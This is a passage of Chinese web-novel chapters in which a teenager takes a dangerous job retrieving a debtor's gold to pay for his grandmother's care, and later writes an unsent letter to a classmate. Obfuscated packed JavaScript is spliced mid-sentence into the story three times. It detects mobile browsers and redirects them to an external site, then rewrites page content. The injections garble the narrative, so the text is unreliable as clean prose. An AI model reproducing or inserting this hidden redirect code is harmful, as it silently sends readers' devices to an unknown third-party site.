“珠江大厦,代号老李,帮他躲三天债主。”老头难得简明意骇,“那孙子欠了赌场三百多万,现在藏在情妇家不敢出门,追债的咬得跟疯狗一样。” 宋恩年皱起眉头,“躲三天债?那之后呢?” 老头摊开手,无所谓地说,“咱们只管干活,至于以后咋样,和咱没关系。” 宋恩年一想,都到这种地方发单子了,基本都不是正常人。 他没打算细问原由,直截了当说:“给多少钱。” 老头一听这话就笑了,“最近缺钱了吧,你小子,也只有急用钱的时候才会来这。” 宋恩年是初三认识的这老头,当时他和外婆的处境艰难。外婆的心脏不好,为了带外婆去医院治疗,他在这干了一整年。 这些天,外婆每天都说自己身体很好,他昨晚却瞧见外婆屋里全是咳血的纸巾。 宋恩年点头,“嗯,外婆身体不好,想带她去医院看看。” “真是个孝顺的好孩子。”老头啧声,“得了,看在你在我这干了这么久的面儿上,这一单我也不收你提成了。” 老头伸出三根手指,“三万,够给你外婆买几盒进口药了。” 宋恩年起身:“行,地址发我。” 宋恩年有个两百块从二手市场砍价买回来的智能手机,是这品牌手机的最老款式。 老头嘿嘿一笑,“发过去了。” 宋恩年低头瞥了眼地址,珠江大厦219路胡同巷口。 起身拎包离开。 来到家门口,宋恩年知道外婆在家,没打算进去,只是轻手轻脚将书包放在窗台上,而后骑上自行车,往老头给的地址赶去。 因着先前跟老头干过一年,他对榕城还算熟悉。 很快自行车就踩到了珠江大厦旁边。 宋恩年掏出手机,看老头给他发的消息,说老李在大榕树下等他。 他抬头看去,果然见对面的大榕树下停着一辆黑色轿车。 7. 第三封信 确认目标,宋恩年踩着自行车不慌不忙继续往前。 不动声色将黑色鸭舌帽压低了些,正好笼住少年清瘦的下颌线。时刻注意周围来往的人。 老头给的信息不多,其中一条最为关键。 老李的债主为了追债,追得很死。 这样的单子太过危险,若是不下心暴露行踪或被那些追债人捕捉到自己的信息,那接下来所要面对的,是至少十倍的报复。 要不是外婆的病情,他不会再干这种活。 不过转念一想,生活本就是一团乱麻,还能更糟糕吗。 珠江大厦背后是一群密密麻麻的城中村,像是隐匿在城市光鲜面之后的低迷区。 城中村巷口潮湿,做什么生意都有。 发廊旋转灯在墙上投下暧昧的粉红光影,塑料拖鞋拍打水泥地的声响混着粤语老歌,在逼仄的巷道中混合为一体。 有些招牌甚至直接横在小路上方,让原本就逼仄的空间更为狭小。 他骑着车往巷子里去,散漫的态度加之破得生锈掉渣的自行车,门店的老板们没人拿正眼瞧他。 大致熟悉情况后,他骑着自行车往另一条路绕出去,瞥见对面巷口蹲守着十多个纹着纹身的社会青年,正在吃着炒粉,油渍斑驳的塑料袋在路灯下泛着腻光。 地面上扔着十多个烟头。看见有人过来就抬头盯一眼。蛇一样的眼神让人从骨子里透出厌恶。 看来他爸的债主派来追债的人还是轻量级的。红毛黄毛那三人至多是个社会混混,不敢真把人怎么样。 这些人全都是五大三粗的莽汉,一圈能砸死一头狼那种,凶狠的面孔一看就不好惹。 更不容易糊弄。 宋恩年头有些大。 不管怎么样,这活他接了,也算入了局。就算是为了外婆,他也得硬着头皮上。 幸好那群壮汉只是瞥了他一眼,没有动静。 宋恩年在路口等了会红绿灯,暗暗记下这栋楼的位置。 这说明他们没发现老李就在不远处的黑色轿车里,老李的位置相对安全。 他又绕了一会,记下大致路线,来到黑色轿车前,敲了敲车玻璃。 里面露出一个满脸横肉的面庞,叼着一根雪茄。见他面庞细嫩,男人眉眼闪过凶狠,警惕道,“你谁?” “麻烦把后备箱开开。”宋恩年拍了拍自己的自行车,示意要将自行车放进去。 老李犹豫了一秒,还是打开了后备箱。 宋恩年将自行车放好,拉开车门坐到副驾驶上,“说说具体要求。” 老李拧着眉头,砸方向盘,“那老头果然不靠谱,给我推荐了个毛头小子过来,能干啥。” 宋恩年自顾自将安全带系好,然后示意他,“系安全带。” 老李有些气,瞥了他一眼,“你知道我雇你来是干什么的吗,毛都没长齐你也敢来,浪费时间。” 宋恩年掏出手机,指着屏幕上老头发过来的信息,“帮你躲三天债。” “呵。”老李哼出一声冷嗤,“这么简单的话,那还用得着你来,老子待在车里三天就完事了。” 宋恩年点头,“那还有什么事。” 老李没了耐心,脾气像是忍耐到了极点。还是指着城中村的方向,死马当活马医说:“我女朋友在那里面,我的钱都在她手里。” “刚才看到你从巷子里出来,应当看到那十几个人了吧,他们就是赌场派来追债的。这片不是什么好地方,他们不敢闹,一直在楼下守着。我进不去,我女朋友也出不来。” 老李补充说,“他们手里有我和我女朋友的资料和照片,我不能靠近。” 宋恩年点头,“你希望雇个人来,将她带出来。” 老李冷笑,“带她出来?老子是让你把老子的钱带出来。” 宋恩年表示了然,“是现金吗,还是银行卡。” “你得告诉具体位置,不然这事难办。” “呵,说得好像我告诉你,你就能帮我拿回来似的。”老李点燃一只新雪茄,凛冽的木头香萦绕而出。他往车头的烟灰缸磕了磕,似是等不及了,他还是如实说,“钱都换成黄金了,锁在保险柜里。” 宋恩年没在意对方的态度,“这样高强度的活,你该去找专业小偷啊。” 老李面色不悦,“我时间紧,没空跟你废话,要是能找着那样的人,我至于去不靠谱的老头那雇人么?” 他掏出手机开机,宋恩年瞥了眼,注意到手机卡已经拔了。 翻出短信页面,“那女人总是要死要活,再不快点,迟早闹出动静被那群人发现,这样老子的钱就全打水漂了。” 宋恩年没打算多问,他只负责干活。“这活我能接,保你不亏。” 他问,“你车技怎么样?” 老李瞥他,“老子就是开黑车起来的,不过你问这个干啥?” 宋恩年点头,“那就成。” “不用三天,今晚就能结束。” 他活动了下手腕,说:“至于车技,不出意外的话,等会还得上演一场速度比拼。” 老李皱眉,明显不信,“今晚?小子海口夸得还挺大。” “注意点,要是那疯女人破罐子破摔,将钱全给了楼下那群人,咱俩都不会好过。” 宋恩年说:“你女朋友爱钱,不然也不会和你在一起,她不会轻易将这钱交出去的。” 老李听着这话,感觉自己被侮辱了,刚想说话,又听到对方说,“要我说,与其天天活成丧家之犬,不如早点将欠债还了。” 老李表情一秒变得凶狠,“还钱?那都是被人给做局坑的,我凭什么要当冤大头。” “好不容易才攒下这么一笔钱,还没开始潇洒就被人做局。反正老子钱也赚够了。不如直接出国,到时候天高任鸟飞,他们再怎么横也不可能将手伸到国外。” 宋恩年若有所思,“这么说来,你女朋友更不可能离开钱了。你想想,她是什么时候出现的。” 老李想到什么,表情有些怔忪,“和她在一起后,我就.....他们是一伙的?” 宋恩年:“我也不知道啊,你问我我问谁去。” 老李一拍脑袋,像是明白过来。 “怪不得她总是有意无意提起说想去澳城游玩,要不是她一直在说,我根本不会去那种地方,也不可能去碰赌场。” 宋恩年说:“最有可能的情况是,给你做局的一拨人负责将你骗到赌场,赌场也有抽成。不过现在两拨人应当没谈拢。你女朋友是做局人之一,她守着钱,楼下守着的是赌场的打手,双方都不想让步。” 他好笑道,“说不定,两拨人现在还在沟通如何分钱呢。” 老李一巴掌拍向方向盘,骂了句脏话,雪茄也不抽了,扔在一边。 “那现在怎么办。” 宋恩年压低帽檐,“在这接应我。” 说完,他拉开车门,下一秒又坐了回来,问,“你现在身上还有钱吗?” 老李:“?” 宋恩年指了指自己,“想买瓶饮料,有点渴了。” 老李瞅了他一眼,眼神中全是警告,从口袋中摸出一张百元大钞,“拿去。” “谢了。”宋恩年拿钱下车,往巷口的方向去,转身钻进一家便利店。 “要两罐红牛,一条绳索。”他敲了敲柜台,余光扫过货架第三层的迷你手电筒,“再加这个。” 收银员按照他的要求准备好,商品扫过扫描器,一边装进塑料袋里,听到宋恩年问:“听说今晚有演唱会,演唱会散场是几点?” 收银员笑着,“十一点半,听说请了好几个大明星呢。” 她将塑料袋递过去,“一共34元。” 宋恩年结了账,转身想离开,就看到那十几个莽汉中有两三人结队往这边来。 他立即改变了方向,为了不引起收银员的注意,他装作像是遗漏了要买的商品,喃喃自语走向监控盲区的货架背后。 三个纹身男人在此刻推门而入,为首的刀疤脸抽着烟,举起两张照片,“最近有没有看到过这两人到这买东西?” 收银员哪见过这种阵仗,吓得瑟瑟发抖,“没...没见过。” 纹身男人骂了两句脏话,环顾了一圈,拿了包烟,推门离去。 收银员也不敢多说,吓得呆愣在一旁。 宋恩年紧跟着出门。 十分钟后,他进入其中一栋楼内。城中村住的基本都是劳务人员,楼内都是步梯,只有七楼,一直通到天台。 且由于这一片的城中村地理位置不错,房主们为了多赚钱,楼与楼之间相隔很近,轻轻一跨就能来到隔壁楼的天台上。 他低头看了眼手机,老李发来新消息:“在五楼,保险柜设置了报警装置,错误三次自动报警,密码是9546。” 他将手机收起来,咬开红牛拉环,甜腻的液体滑过喉管,站起来活动了下身体。 之后掏出绳索系紧在阳台边缘,让绳索顺着排水管道自然下垂。 而后,一边扶着排水管道往下滑,一边靠绳子确保安全。 就这样摸到了五楼阳台。 正打算探探屋里的动静,突然一张床单蒙了过来,而后被人粗暴拽进了屋内。 他听见弹簧刀出鞘的金属摩擦声。 “你是什么人?”对面闽南口音很重,“保险柜密码是多少。” 宋恩年迅速思考对策,这声音是个男人。说明赌场的人已经找到这了。 更棘手的是,他不知道此时屋内有多少人。 被子外的壮汉见他久久没有应声,正打算逼问保险柜密码,就听到外头一阵鸣笛的声响,由远及近。 是警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459108|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车的声音,有人报警了。 壮汉的动作显而易见地慌乱了一瞬,就是这个瞬间,宋恩年立即出击,判断出手所在的方向,而后一脚踢过去,再连人带被子往一旁的桌子上砸去。 玻璃四溅。 为了防止意外,又上去重重劈向大动脉处,壮汉踉跄两下,昏倒在地。 宋恩年喘着粗气,很久没有干这种活了,手有些生。 之前为了赚钱,数次刀口舔血的经历,让他本能地学会些拳脚。 宋恩年立即检查房间,发现一个女人晕倒在角落。 确认这间屋子里只有一个赌场的人,且看样子应该他也是刚摸到这,还没来得及给同伴发去信息。 看了眼保险柜,已经被试过一次错误的密码。宋恩年了然,这男人藏了私心,也想私吞这笔钱,所以谁都没有告诉。 这也暂时给他摈弃了危险。 宋恩年不耽误,上前输入密码,保险箱顺利打开,里面只有一个手提箱子。 打开手提箱,很沉,里面装满了金条。 关上箱子,将保险箱复原,听着外面警察维护秩序的哨声,宋恩年选择直接从大门走。 因着这一片城中村地方狭小,很多住户都在楼道摆上晾衣架,干的湿的衣物都挂在上面,因此楼道也更为逼仄阴湿。 少年很谨慎,从楼上下来的同时,从每一层楼道的晾衣架上顺走花花绿绿的衣物,还摸到了一个墨镜,遮住自己大半张脸。最后再从二楼拿走一个半干的旅行背包,将箱子装了进去。 从一楼出来的时候,乍一看还以为是那种混社会的都市潮男。 警察正在楼底下排查,看到宋恩年,将人拦住,“你干什么的。” 宋恩年认真说,“出去和朋友小聚。” 盯着他那扎眼的装扮,实在没发现什么不一样的地方,警察摆摆手,让他离开。 躲在暗处的赌场打手也盯着他看了许久,碍于警察在这,他们没敢轻举妄动。 宋恩年勾起一抹笑,就这样在两道怀疑的目光下,往路口走去。 却发现老李原本停在榕树下的车不见了。 他没有露出异样,继续往人多的地方走,一边掏出手机。看到老李给他发了一个新地址。 往前走了两个拐角,看到那辆熟悉的黑车,宋恩年拉开车门,“怎么跑这来了,我以为你逃了。” 说着,将背包扔在他身上。 老李迫不及待将拉链打开,看到里面熟悉的箱子,再打开,整箱大金条,金光灿灿,一根不少。 老李的脸顿时笑出褶皱,“之前是我有眼不识泰山了,抱歉抱歉。” 钱到手,老李也没打算多问怎么做到的,只说,“你失联十多分钟,我以为你被他们抓了,情急之下就报了警。” 宋恩年将那些略带汗臭味的衣服脱下来,“那你跑什么?” 老李说,“先前干过一些灰色地带的事,看到警察本能地害怕,躲远些也好。” “小伙子,交个朋友。”老李笑着伸出手,露出满口黄牙。 “还是算了。”宋恩年很直白地说,“我要三分之一的报酬。” 老李一想,如果不是缺钱的人,也不会冒着危险来接这种活。不过这人年纪轻轻就能有这样的身手和胆量,实在令人咋舌。 这个朋友,他交定了。 正想着,手机显示收到一条短信。 宋恩年说,“银行卡号发过去了,往里面打钱就好。” 他摇了摇手机,面无表情,“两个星期没收到钱,我有的是办法找到你。” 这威胁要是放在半小时前,老李肯定会狠狠嗤笑,并将人赶下车,但现在他不敢不信。 不过现在钱拿到手了,往后都是潇洒日子,心里也高兴不已,不想去计较太多。 “现在,把车开到人多点的地方,放我下车。” 老李“哎”了一声,扭动车钥匙,引擎的声音响起,车子缓缓启动。 他突然好奇问,“小伙子,我看你年纪轻轻,为啥这么缺钱啊。” “高利贷。” 老李啧声,“高利贷确实不能碰啊...” “不过你这身手,还要还什么高利贷啊。” 宋恩年神情一顿,外婆身体不好,生活中也到处都需要钱。且干这个太过危险,说是走在死亡线上都不为过,他不想让外婆担心。 他瞥了眼宋恩年,见他面容模糊冷淡。 “欠了多少,十根金条够不?”老李将车开出去。 “不够。” 老李皱眉,“那是欠了多少啊,不会欠了几个亿吧。” 看宋恩年没说话,老李很识相将嘴闭上了。 “我一共就二十根金条,最多给你十根。”老李重新燃了一根雪茄,“以后这种活别干了,一不小心,命都没有。” 8. 第三封信 宋恩年刚想说话,就从倒后镜里面看到三辆可疑的黑车跟了过来,隐隐有想要包抄的意味。 “快走,那是他们的车。” 老李往后视镜瞥了一眼,骂了一句脏话,“这些个狗皮膏药,一天没事干净会盯着我。” “坐稳了!” 老李用力踩下油门,往人多的街区方向去,至少在那边他们不敢轻举妄动。人多的地方也意味着警察也多,要是在市区横冲直撞,必定会被扣下。 幸好老李之前是开黑车的,什么样的路况都遇到过,最熟悉这种错综复杂的路径。他巧妙穿梭在城市里。却见那群在身后紧跟不舍的人对开车也十分熟练,一直紧紧咬在后头,没有半分喘气的空间。 老李猛打方向盘拐进岔路,轮胎与地面摩擦发出刺耳的刮擦声。 “不行,这人太多了。”老李额心冒汗。 不能伤到人,不然必定会被追责,到时候更难办了。 咬紧牙关,扭头对宋恩年说,“新城区人太多,且那演唱会马上就要结束,不能再待在这。” 宋恩年说,“考验你车技的时候到了。” 老李干笑了声,“都这时候了还有心思调侃我,小子,我很欣赏你。” 猛踩油门,车子像闪电一样在路上疾驰,一路往宁静的老城区方向去。 从后视镜看那三辆车变成了两辆,依旧穷追不舍。 “真该死,就盯着老子的钱薅是吧。” 宋恩年提醒道:“还有辆车不见了。” 老李严肃,“我知道。” 后方不远处突然出现两辆骑摩托车,且摩托车由于体积小,也更灵活,渐渐地就要追上来。 就在这时,车轮子低下发出接二连三的爆破声,方向盘疯狂抖动,怎么拉都拉不住。 “他们扎了咱的轮胎。”老李愤恨,努力控制车辆的方向,车辆甩出S型路线。 同时在心里感激,今晚人少,不然在路上这样开车,必定要出事。 就在这时,轮胎紧急打滑,前面的路口出现了四个身影,远视灯照到四个人身上时,宋恩年瞳孔猛然一缩。 几乎是下意识的反应,他伸手往方向盘拉去。 * 班级里。 两个多小时的电影很快被看完。余念看着时间,现在已经晚上11点了。 顾苒伸了个懒腰,“看完啦,该回家了。” 方依珞吃掉最后一颗爆米花,脸上带着兴奋的笑,“捉妖记真好看,胡巴好可爱呀。” 顾苒骄傲地站起身来,“我的品味不错吧,下次看小黄人和夏洛特烦恼。” “好耶!” 三个女生都很开心,一边讨论这电影中的内容,背上书包悄悄溜出教室。 夜晚的风有些闷热,吹在脸上有种独特的燥热感。 四人走在路上,越聊越开心,就连平日里沉默寡言的陆青竹也开口搭话了。 就在几人往操场的方向走去,一束手电筒的光亮忽然照射过来,“谁在那边?” 四人心一跳,赶紧往大树后藏。方依珞说,“是保安大叔,负责晚上巡查的。” 几人放下心,躲了好一会,然后往保安相反的方向跑。 这种青春期略带叛逆的感觉让四人心底都有些兴奋,脸上挂着得意的笑。 来到顾苒说的墙角,还真有个大洞,只不过洞口被一些杂物堵上了,但也能轻易扒开。 余念喘着粗气说,“顾苒,还是你行啊,这种地方都逃不过你的法眼。” “那是。”顾苒点头,“咱们快出去吧,等会保安该来这了。” 几人迅速扒拉着这个洞口,忽然一个巨大的光圈照射过来,保安大叔的声音严肃无比,“你们大半夜在这干什么。” 几人手下的动作猛然一顿,顾苒转过来,“我们...我们多留下来学了会习,就发现出不去了,到处的们都锁上了,迫不得已才想到有人说这里有个洞可以出去......” 保安大叔狐疑,但在一中做了这么多年的安保工作,什么情况都遇到过,听到顾苒说的话,紧绷的神经略微放松。 他走近,发现四个人都穿着校服,确认都是一中的学生,顿时放轻松说: “早说嘛,我给你们开门,天色不早了,别乱跑,早点回家嗷。” 四个人齐声说,“谢谢叔叔!” 于是四人都被放了出去。 榕城的夜晚依旧灯火璀璨,路上的行人多了起来,三三两两走在路上,手里几乎都拿着荧光棒或者闪光的猫耳朵,这是演唱会结束了。 四人住的地方离学校都不算远,前半部分基本是同路。 余念开心地提议,“下次晚自习放学咱们去夜市逛逛呀,我知道有家特别好吃的烧烤,量大还便宜。” “我经常从那边走,认识那边的叔叔阿姨,应该能给咱们算便宜点。” 方依珞眼睛一亮,“我这人什么都不爱,就爱吃,必须去。” 顾苒也同意,“好呀好呀。” 说着,她拍了拍陆青竹,“小胖,一起呀。” 陆青竹腼腆点头,算是同意了,“好。” 几人还在聊着,没注意到一辆失控的汽车正在往这边飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459109|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速驶来。 整个车身几乎飞离地面般地超速行驶,在路上歪歪扭扭地横冲直撞。 等反应过来的时候,车子的超强远光灯已经打到了身上,车速太快,根本没有反应的时间。 眼看失控的车子就要撞过来,车身却猛然偏移了方向,从距离四人不足一米的地方飞驰而过。 “我靠!”顾苒呆在原地,随即叉腰怒骂,“现在的人能不能有点安全意识,开这么快做什么,差点撞到人了!” “就是,太可怕了吧,那辆车距离咱们不到一米。”方依珞心有余悸。 余念心里慌得很,“咱们快走吧。” 话音刚落,两辆摩托车和两辆汽车也紧跟着飞驰过去,刮起一阵旋风。 四人目瞪口呆,都不敢继续待在马路边上了,恨不得退到绿化带里,确定没了危险,四人也不再说笑,连忙往家的方向赶。 马路对面就是核桃巷,余念和三人打了招呼,抓紧回了家。 幸好下午的时候她就和家里人打过招呼,说晚自习下课要去同学家做客,不用等她吃饭。 因此回来得晚,家里人也没说什么。 ...... 马路这边。 老李七拐八拐将车开进一个绿植茂密的地方,两人立即下车。宋恩年从后备箱将自行车拿出来,和老李对视一眼,谁也没多说话。 宋恩年踩着自行车离开,老李则带着箱子钻入灌木林中。 宋恩年在车上时已经脱去了那些顺来的花衣服,最里面的衣服是灰扑扑的普通色,扔到人群里都找不出来那种。 加之自行车也老得掉牙,并不引人注目。 他踩着自行车往核桃巷蹬去,同时注意着身后的脚步声。 将车藏在暗处,快速往小胡同里走,来到老头的门口敲门。 三长两短。 老头磨磨蹭蹭开门,宋恩年立马钻了进去,将门关上。 “完成了。”他脱下鸭舌帽,屋子里依旧很热。简明意骇说,“外面有人在追。” 老头满意一笑,麻溜从桌底下拽出个帆布袋:“正好三万,你清点下。” 宋恩年看了他一眼,没接钱袋,径直走向卫生间。镜中人面色苍白如纸,湿透的衬衫下肋骨清晰可见。 手臂上还有伤痕,血流了一段时间,已经结痂了。 他简单冲洗了一番,走了出去。 老头越看他越满意,“你这么久没接活了,还这么得心应手,天生就是干这块的料,不如跟着我得了。” 他嘿嘿一笑,“送到手边的钱,哪有不赚的道理。” 9. 第三封信 宋恩年没理他,脸色冷淡吐出两个字,“报酬。” 小老头不满意他这个态度,浑浊的眼珠在他身上转了一圈。最终还是将那个鼓鼓囊囊的帆布袋推到他面前:“正好够数,老头子我做事向来靠谱。” 宋恩年拿起袋子,来到门边的椅子坐下。手腕上那道已经结痂的伤口又渗出血丝,他皱眉,用拇指按在伤口上,指腹立刻染上一抹暗红。 老头咂了咂嘴,往沙发躺去,闲情雅致地往炉膛里添柴,动作带着些许刻意的悠闲。 “年轻人啊......当年我像你这么大的时候,为口吃的能跟野狗抢食。现在这世道多好,只要豁得出去,钱财大把的来。” “钱是好东西,”宋恩年十分冷静,“但也得有命花。” 老头习惯了他这个态度,只摇头道:“这样吧,需要用钱了随时来找我,像你这样利索的年轻人可不多见了。” 宋恩年没说话,抬头瞥了眼时钟,已经接近凌晨一点。仔细听外面的动静,静谧无比。 他起身:“走了。” 没等老头回应,他已经拉开门。 夜风裹挟着潮闷味儿扑面而来,他站在门口仔细听了会儿动静,确认巷子里只有野猫翻垃圾桶的窸窣声,这才迈出门槛。 月光透过厚厚的云层,像被揉碎了的银箔。老城区有种特殊的霉潮气,像团湿棉花堵在喉咙里。 他不着急去找自行车,一路小心谨慎地回了家。从窗台暗处拿出书包背上,推开门。 屋内很暗,他径直想要往卧室方向走,却听见咔哒一声,钨丝灯被拉开了。 宋奶奶裹着一层被毯守在客厅,闻声睡意朦胧问,“阿幺?” 确定回来的人是宋恩年,宋奶奶舒了口气,温声问:“怎么这么晚才回来,饿了没?外婆留了饭,还热着。” “不用了外婆。”宋恩年说,“我新找了份工作,是一家新开的火锅店,今儿生意好,急着用人,这才回来得晚。” 他看着外婆就裹着一层毯子等自己,心中滑过酸涩,“外婆早点睡,以后要是我12点还没回来,不用等我。” 宋奶奶看他穿的衣服不是出门前的那一件,皱了眉:“你衣服呢。” “衣服在书包里。”宋恩年说,“天有些热,就先脱下来了。” 宋奶奶不太信,如今已经十月份,夜晚还是有些凉的。瞥到他手腕上的伤口,眉心皱得更紧,“怎么还受伤了。” 说着连忙起身去找药膏,塞到宋恩年手中,“再怎么样都不能不爱护自己。” 至于宋恩年究竟去做了什么,宋奶奶心里多少都有点数。 先前为了送她去医院瞧病,阿幺每晚都伤痕累累地回来,她看在眼里疼在心里。 在宋奶奶眼里,宋恩年不过就是半大的孩子,怎么可能凭着一张嘴就让别人开高薪聘他工作,肯定还有别的。 不过不管她如何旁敲侧击,宋恩年始终不愿意说,祖孙两人促膝长谈了一整夜,宋恩年才沉默地保证,确定自己没有做过伤天害理之事,只不过干的活有些危险,因此报酬丰厚些。 宋奶奶抱着他哭了一宿,摸到满背的伤痕,又是心酸又是不甘,满腔愤怒全都转移到他那个人间蒸发的父亲头上。 宋恩年当晚便保证,今后好好读书,不会再接类似的任务,宋奶奶这才同意。 ...... 宋奶奶沉默着,“阿幺,你和外婆如实说,你是不是去...” 宋恩年停住脚步,“外婆,明天去医院看看吧。”他突然开口,声音轻得像是怕惊扰什么,“今晚遇到个阔气的主顾,给的钱够咱们用一阵子了。” 宋奶奶的眼泪突然就下来了。她扑上来捶打宋恩年的肩膀,力道却轻得像在拂去灰尘,“你要气死我是不是!上次怎么答应外婆的?那些亡命徒的钱是那么好拿的?” 宋奶奶哭起来,“阿幺啊,外婆不求其他的,只求你好好的,你答应外婆,此生都不再去碰那种不要命的任务。” 宋恩年坚定说,“我答应,再也不干了。” 宋奶奶缓过神,看着宋恩年直叹气。 等外婆情绪平复,宋恩年扶她回房,“太晚了,先休息吧。” 关门前,他听见里面传来压抑的咳嗽声,闷闷的,像是从很深的地方挤出来的。他站在门外,直到咳嗽声渐渐平息,才转身回到自己房间。 闭上眼睛,重重压力从四面八方涌来,实在没有喘息的空间。 他决定,明天必须要带外婆去大医院检查。 宋恩年躺在床上,点开手机,有两条未读短信。 一条是老头发来的,在他离开之后还不舍地发了一大长串劝他的话。 宋恩年只划拉了一眼,就点了退出。那老头年纪不小,却偏爱发那些腻死人的话,再配上那些蠢萌的颜文字。 宋恩年忍住了想把老头的号码拉黑的冲动。点开另一条信息,是老李发过来的,只有简简单单的几个字,“安好,勿念。” 宋恩年放下心,老李安全了,说明许诺十根金条这事有着落了。拿到了这笔钱,他能让外婆接受更好的治疗,很长一段时间不用再为钱发愁。 至少每个月不用再被那三个混混追债骚扰了。 正想着,划拉手机频幕,看到很久没有登上过的企鹅图案,他犹豫片刻,点开了。 随之而来的是一只最原始的头像。 他没几个好友,一眼就看到消息页面闪动着孟修的头像,点开对话框,就看到他一个月前发过来的一个入群邀请。 群聊名称:“榕城一中地下交流群”。 孟修还配上了段话,“这是咱们私下建的群,一起来玩呀。” 他犹豫片刻,点击同意入群,却弹出一个灰色的图标显示“入群邀请”已过期。 他在聊天框中输入,“过期了,再邀请我一次。” 发送完毕之后,孟修秒回:“卧槽!?” 紧接着蹦出第二条:“我发现了什么神迹,咱们的宋大学霸竟然上线了,我还以为你这个号不用了呢。” 因着明天是周六,不用早起上学,星期五晚上的总是特别热闹。 宋恩年看着最原始的企鹅头像,再看自己仅有一颗月亮的等级,确实很像三无小号。 他点开资料的修改按钮,在昵称一栏输入单个字母“Y”,再点更换头像时,发现相册里没有照片。 正好此时外头一阵呼啸的狂风而过,晾衣绳被吹得交叉作响。 榕城多雨,凌晨的小巷子寂寥无比,好似只有他眼前的这一盏台灯在散发出光亮。 他拍了一张台灯的照片,背景是窗外淅沥的小雨。暖黄的光晕在雨中氤氲开,像一捧被雨水打湿的蒲公英。 头像更换成功。 忽略孟修发的一连串的话,他点击同意加入群聊,很快就显示加群通过。 群里很热闹,聊什么的都有,其中孟修聊的最为火热。 群内共有五百多号人,宋恩年想到什么,他点开群聊成员那一栏。 因为群聊里要求实名认证,不实名的人过段时间会被管理员清除群聊。因此大部分人都实名了。 很快他就找到了群昵称为“余念”的企鹅,心中泛起一丝自己都没有察觉到的兴奋。 点开头像,她的主页很少女心,头像是一个拿着花的漫画女孩,背景是蓝天白云,光是看着就觉得很治愈。 他发现余念的企鹅空间没锁,最外面的一层还显示着最新发的说说的照片。他很想点进去,但担心留下痕迹。 不过他复制了企鹅号,生怕以后找不见。 再看时间,已经凌晨两点。 宋恩年往窗边一坐,听着淅淅沥沥的雨声,想了想,从书桌上抽了一张白纸,在转身去找笔的间隙,手腕上的伤不小心蹭在纸上,留下一片暗红色的印记。 他皱眉,拿来橡皮擦使劲擦了擦,纸上的痕迹被晕开,摩擦的部分变得粗糙,血迹却一直停留在上面。 他用手触摸,摸到一片温热,还有用力磨擦过后的灼热感。 索性将橡皮扔到一边,提笔,开始写信。 * 余念同学: 今夜有雨,外面终于没有讨人厌的蝉鸣声了。我现在坐在窗边,就着雨声写下这封信。 心中有些困顿,就在这封信里宣之于口吧,毕竟它和另外两封信一样,永远都不会寄出。 说来可笑,我从十岁就懂得如何与催债人周旋。 在我小学的时候,我爸欠了几个亿的债,至于那几个亿如今变成多少了,我也不知道。只知道每个月要给来催债的混混交一千块钱,那个月才能安生。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459110|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 以前我也会抱怨,为什么这样的事会落到我身上。可后来我想明白了,人生就像场突如其来的雨,我们永远不知道下一秒会发生什么。 大概是老天爷对我的亏欠吧,给了我一个稍微灵光的脑子,学习尚可。 外婆是一个很好的人,那时候她每天都在干活还债,却从不在我面前喊一声累。多亏了我的成绩,学校免去了学费,这大概是我能给她的唯一安慰了。 直到那年暴雨夜,我撞见外婆咳出血,急匆匆拉着外婆去检查,才知道外婆已经累垮了身体。 命运这种东西,从未宽恕过善良的人。 最艰难的时候,是一个老头收留了我们,他垫付了外婆的医药费,让我们有了栖身之所。 很久以后我才知道,他的钱来得并不干净。老头是黑网上的中介,介绍人去完成任务,赚取中介费。 但在生死面前,道德的标准总是模糊的。 为了外婆,我愿意赚这种钱。 也许是因为我这条命太硬,这么多次死里逃生都没能摧毁我,每次接任务前都会准备好遗书。要是我死了,外婆能第一时间看到。 说起来挺可笑的,那时候不要命地接任务,反而潇洒。如今珍视这条命了,倒觉得畏首畏尾。 后来外婆好转,我们搬了家,来到核桃巷,生活也渐渐好起来。 我本打算回归现实,按部就班,可今早看到外婆一直在咳血,才知道外婆病情复发,只不过一直在忍着。 没办法,想要治病,必须得有钱。 不管从什么地方得到,不管以什么手段,我必须要有钱。 有钱才能给外婆治病。 我再一次找了老头,接了任务。 任务具体我就不说了。就在刚才,我在雇主的黑车上,车速太快,再加上轮胎全都爆胎,根本控制不了方向盘,更棘手的是你竟然出现在路边,就在车前方不远处。 说真的,那时候脑子里一片嗡鸣。 幸好手比脑快,上前将方向盘拽了回来。 又一次劫后余生,没有造成任何损伤。有时候也很想说那句俗话,老天保佑。 虽然不知道你为什么这么晚还在外面,但以后请一定要早点回家。城市夜晚的街道,藏着太多你看不见的危险。 